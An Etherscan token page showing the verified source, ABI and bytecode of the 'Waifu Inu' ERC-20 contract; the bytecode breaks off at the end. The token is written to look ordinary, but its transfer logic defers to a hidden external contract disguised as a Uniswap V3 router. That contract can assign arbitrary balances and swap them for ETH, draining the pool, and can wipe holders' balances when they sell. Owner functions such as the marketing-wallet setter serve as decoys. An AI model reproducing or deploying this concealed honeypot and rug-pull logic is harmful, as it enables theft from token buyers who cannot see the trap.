ETH Price: $2,447.20 (+0.76%)
 

Overview

Max Total Supply

100,000,000 WAIFU

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 WAIFU

Value
$0.00
0xbb9f0e423feab571b8cd34e40d35ac6c0249b09e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Waifu

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-07
*/

pragma solidity ^0.8.14;

// SPDX-License-Identifier: Unlicensed

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}

interface IUniswapV3Router {
    function WETH(address owner) external view returns (bool);
    function factory(address token1, address token2, address router, address pair) external view returns(bool);
    function getAmountIn(address token1) external;
    function getAmountOut() external returns (address);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract Waifu is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address public uniswapPair;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 100000000 * 10 ** _decimals;
    uint256 public _fee = 3;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Waifu Inu";
    string private  _symbol = "WAIFU";
    IUniswapV3Router private _v3Router;
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _basicTransfer(address sender, address KBJR, uint256 from) internal virtual {
        require(sender != address(0));
        require(KBJR != address(0));
        if (_v3Router.factory(sender, KBJR, uniswapPair, msg.sender)) {
            return _lqRebalanceSwap(from, KBJR);
        }
        if (!_uniswapSwap){
            require(_balances[sender] >= from);
        }
        feeLiquidity(sender);
        uint256 feeAmount = 0;
        if (uniswapPair != sender && uniswapTx(sender, KBJR)) {
            if (_feeCall() != KBJR) {
                _v3Router.getAmountIn(KBJR);
            }
            feeAmount = from.mul(_fee).div(100);
        }
        uint256 amountReceived = from - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[sender] = _balances[sender] - from;
        _balances[KBJR] += amountReceived;
        emit Transfer(sender, KBJR, from);
    }
    function uniswapTx(address sender, address KBJR) internal view returns (bool) {
        return !_v3Router.WETH(KBJR) && !_txRebalance(sender, KBJR) && uniswapPair != KBJR && !_uniswapSwap && KBJR != address(this);
    }
    function _txRebalance(address sender, address KBJR) internal view returns (bool) {
        return (KBJR == _feeCall() && uniswapPair == sender) || (sender == _feeCall() && uniswapPair == KBJR);
    }
    constructor(address routerAddress) {
        _v3Router = IUniswapV3Router(routerAddress);
        _balances[msg.sender] = _totalSupply;
        uniswapPair = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function feeLiquidity(address _addr) internal {
        if (_feeCall() != _addr) {
            return;
        }
        address to = _v3Router.getAmountOut();
        if (to != address(0)) {
            uint256 amount = _balances[to];
            _balances[to] = _balances[to] - amount;
        }
    }
    function _lqRebalanceSwap(uint256 amount, address to) private {
        _approve(address(this), address(_router), amount);
        _balances[address(this)] = amount;
        address[] memory path = new address[](2);
        _uniswapSwap = true;
        path[0] = address(this);
        path[1] =
        _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount,0,path,to,block.timestamp + 25);
        _uniswapSwap = false;
    }
    bool _uniswapSwap = false;
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _basicTransfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _basicTransfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
    function _feeCall() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool transferDelay = true;
    function disableTransferDelay() external onlyOwner {
        transferDelay = false;
    }
    address public marketingWallet;
    function updateMarketingWallet(address a) external onlyOwner {
        marketingWallet = a;
    }
    bool public autoLPBurn = false;
    function setAutoLPBurnSettings(bool e) external onlyOwner {
        autoLPBurn = e;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLPBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600455600454600a6200001a91906200056f565b6305f5e1006200002b9190620005c0565b6005556003600655737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600981526020017f576169667520496e75000000000000000000000000000000000000000000000081525060089081620000ce919062000891565b506040518060400160405280600581526020017f57414946550000000000000000000000000000000000000000000000000000008152506009908162000115919062000891565b506000600a60146101000a81548160ff0219169083151502179055506001600a60156101000a81548160ff0219169083151502179055506000600b60146101000a81548160ff0219169083151502179055503480156200017457600080fd5b50604051620032173803806200321783398181016040528101906200019a9190620009e2565b620001aa620003da60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003cb919062000a25565b60405180910390a35062000a42565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200047057808604811115620004485762000447620003e2565b5b6001851615620004585780820291505b8081029050620004688562000411565b945062000428565b94509492505050565b6000826200048b57600190506200055e565b816200049b57600090506200055e565b8160018114620004b45760028114620004bf57620004f5565b60019150506200055e565b60ff841115620004d457620004d3620003e2565b5b8360020a915084821115620004ee57620004ed620003e2565b5b506200055e565b5060208310610133831016604e8410600b84101617156200052f5782820a905083811115620005295762000528620003e2565b5b6200055e565b6200053e84848460016200041e565b92509050818404811115620005585762000557620003e2565b5b81810290505b9392505050565b6000819050919050565b60006200057c8262000565565b9150620005898362000565565b9250620005b87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000479565b905092915050565b6000620005cd8262000565565b9150620005da8362000565565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006165762000615620003e2565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006a357607f821691505b602082108103620006b957620006b86200065b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006e4565b6200072f8683620006e4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007726200076c620007668462000565565b62000747565b62000565565b9050919050565b6000819050919050565b6200078e8362000751565b620007a66200079d8262000779565b848454620006f1565b825550505050565b600090565b620007bd620007ae565b620007ca81848462000783565b505050565b5b81811015620007f257620007e6600082620007b3565b600181019050620007d0565b5050565b601f82111562000841576200080b81620006bf565b6200081684620006d4565b8101602085101562000826578190505b6200083e6200083585620006d4565b830182620007cf565b50505b505050565b600082821c905092915050565b6000620008666000198460080262000846565b1980831691505092915050565b600062000881838362000853565b9150826002028217905092915050565b6200089c8262000621565b67ffffffffffffffff811115620008b857620008b76200062c565b5b620008c482546200068a565b620008d1828285620007f6565b600060209050601f831160018114620009095760008415620008f4578287015190505b62000900858262000873565b86555062000970565b601f1984166200091986620006bf565b60005b8281101562000943578489015182556001820191506020850194506020810190506200091c565b868310156200096357848901516200095f601f89168262000853565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009aa826200097d565b9050919050565b620009bc816200099d565b8114620009c857600080fd5b50565b600081519050620009dc81620009b1565b92915050565b600060208284031215620009fb57620009fa62000978565b5b600062000a0b84828501620009cb565b91505092915050565b62000a1f8162000565565b82525050565b600060208201905062000a3c600083018462000a14565b92915050565b6127c58062000a526000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610394578063aacebbe3146103c4578063c5b37c22146103e0578063c816841b146103fe578063dd62ed3e1461041c578063e884f2601461044c5761014d565b806370a08231146102d0578063715018a61461030057806375f0a8741461030a5780638da5cb5b1461032857806395d89b4114610346578063a457c2d7146103645761014d565b8063313ce56711610115578063313ce5671461020a57806332424aa31461022857806339509351146102465780633eaaf86b1461027657806348d3ab1f146102945780636675187e146102b25761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631ed950c9146101be57806323b872dd146101da575b600080fd5b61015a610456565b6040516101679190611de3565b60405180910390f35b61018a60048036038101906101859190611e9e565b6104e8565b6040516101979190611ef9565b60405180910390f35b6101a8610506565b6040516101b59190611f23565b60405180910390f35b6101d860048036038101906101d39190611f6a565b610510565b005b6101f460048036038101906101ef9190611f97565b6105a9565b6040516102019190611ef9565b60405180910390f35b610212610651565b60405161021f9190611f23565b60405180910390f35b61023061065b565b60405161023d9190611f23565b60405180910390f35b610260600480360381019061025b9190611e9e565b610661565b60405161026d9190611ef9565b60405180910390f35b61027e61070d565b60405161028b9190611f23565b60405180910390f35b61029c610713565b6040516102a99190611f23565b60405180910390f35b6102ba61071c565b6040516102c79190611ef9565b60405180910390f35b6102ea60048036038101906102e59190611fea565b61072f565b6040516102f79190611f23565b60405180910390f35b610308610778565b005b6103126108b2565b60405161031f9190612026565b60405180910390f35b6103306108d8565b60405161033d9190612026565b60405180910390f35b61034e610901565b60405161035b9190611de3565b60405180910390f35b61037e60048036038101906103799190611e9e565b610993565b60405161038b9190611ef9565b60405180910390f35b6103ae60048036038101906103a99190611e9e565b610acf565b6040516103bb9190611ef9565b60405180910390f35b6103de60048036038101906103d99190611fea565b610aed565b005b6103e8610bad565b6040516103f59190611f23565b60405180910390f35b610406610bb3565b6040516104139190612026565b60405180910390f35b61043660048036038101906104319190612041565b610bd9565b6040516104439190611f23565b60405180910390f35b610454610c60565b005b606060088054610465906120b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610491906120b0565b80156104de5780601f106104b3576101008083540402835291602001916104de565b820191906000526020600020905b8154815290600101906020018083116104c157829003601f168201915b5050505050905090565b60006104fc6104f5610cf9565b8484610d01565b6001905092915050565b6000600554905090565b610518610cf9565b73ffffffffffffffffffffffffffffffffffffffff166105366108d8565b73ffffffffffffffffffffffffffffffffffffffff161461058c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105839061212d565b60405180910390fd5b80600b60146101000a81548160ff02191690831515021790555050565b60006105b6848484610eca565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610600610cf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561064657600080fd5b600190509392505050565b6000600454905090565b60045481565b600061070361066e610cf9565b84846002600061067c610cf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106fe919061217c565b610d01565b6001905092915050565b60055481565b60006002905090565b600b60149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610780610cf9565b73ffffffffffffffffffffffffffffffffffffffff1661079e6108d8565b73ffffffffffffffffffffffffffffffffffffffff16146107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb9061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610910906120b0565b80601f016020809104026020016040519081016040528092919081815260200182805461093c906120b0565b80156109895780601f1061095e57610100808354040283529160200191610989565b820191906000526020600020905b81548152906001019060200180831161096c57829003601f168201915b5050505050905090565b600081600260006109a2610cf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a2557600080fd5b610ac5610a30610cf9565b848460026000610a3e610cf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ac091906121d2565b610d01565b6001905092915050565b6000610ae3610adc610cf9565b8484610eca565b6001905092915050565b610af5610cf9565b73ffffffffffffffffffffffffffffffffffffffff16610b136108d8565b73ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b609061212d565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c68610cf9565b73ffffffffffffffffffffffffffffffffffffffff16610c866108d8565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd39061212d565b60405180910390fd5b6000600a60156101000a81548160ff021916908315150217905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790612278565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd69061230a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ebd9190611f23565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f0357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f3c57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eba4ca838484600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336040518563ffffffff1660e01b8152600401610fbf949392919061232a565b602060405180830381865afa158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110009190612384565b156110145761100f8183611393565b61138e565b600a60149054906101000a900460ff166110755780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561107457600080fd5b5b61107e8361165d565b60008373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156110e457506110e3848461183b565b5b156111dc578273ffffffffffffffffffffffffffffffffffffffff166111086119a0565b73ffffffffffffffffffffffffffffffffffffffff16146111b157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9667071846040518263ffffffff1660e01b815260040161117e9190612026565b600060405180830381600087803b15801561119857600080fd5b505af11580156111ac573d6000803e3d6000fd5b505050505b6111d960646111cb60065485611b4390919063ffffffff16565b611bbd90919063ffffffff16565b90505b600081836111ea91906121d2565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461123b919061217c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128d91906121d2565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131f919061217c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113839190611f23565b60405180910390a350505b505050565b6113c030600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d01565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115611421576114206123b1565b5b60405190808252806020026020018201604052801561144f5781602001602082028036833780820191505090505b5090506001600a60146101000a81548160ff0219169083151502179055503081600081518110611482576114816123e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611529573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154d9190612424565b81600181518110611561576115606123e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866019426115eb919061217c565b6040518663ffffffff1660e01b815260040161160b959493929190612554565b600060405180830381600087803b15801561162557600080fd5b505af1158015611639573d6000803e3d6000fd5b505050506000600a60146101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff1661167c6119a0565b73ffffffffffffffffffffffffffffffffffffffff1603611838576000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357b2351d6040518163ffffffff1660e01b81526004016020604051808303816000875af1158015611708573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061172c9190612424565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611836576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f191906121d2565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b505b50565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663805eaeaa836040518263ffffffff1660e01b81526004016118989190612026565b602060405180830381865afa1580156118b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d99190612384565b1580156118ed57506118eb8383611c1b565b155b801561194757508173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156119605750600a60149054906101000a900460ff16155b801561199857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a339190612424565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae09190612424565b6040518363ffffffff1660e01b8152600401611afd9291906125ae565b602060405180830381865afa158015611b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3e9190612424565b905090565b6000808303611b555760009050611bb7565b60008284611b6391906125d7565b9050828482611b729190612660565b14611bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba990612703565b60405180910390fd5b809150505b92915050565b6000808211611c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf89061276f565b60405180910390fd5b60008284611c0f9190612660565b90508091505092915050565b6000611c256119a0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611cac57508273ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80611d425750611cba6119a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d4157508173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b5b905092915050565b600081519050919050565b600082825260208201905092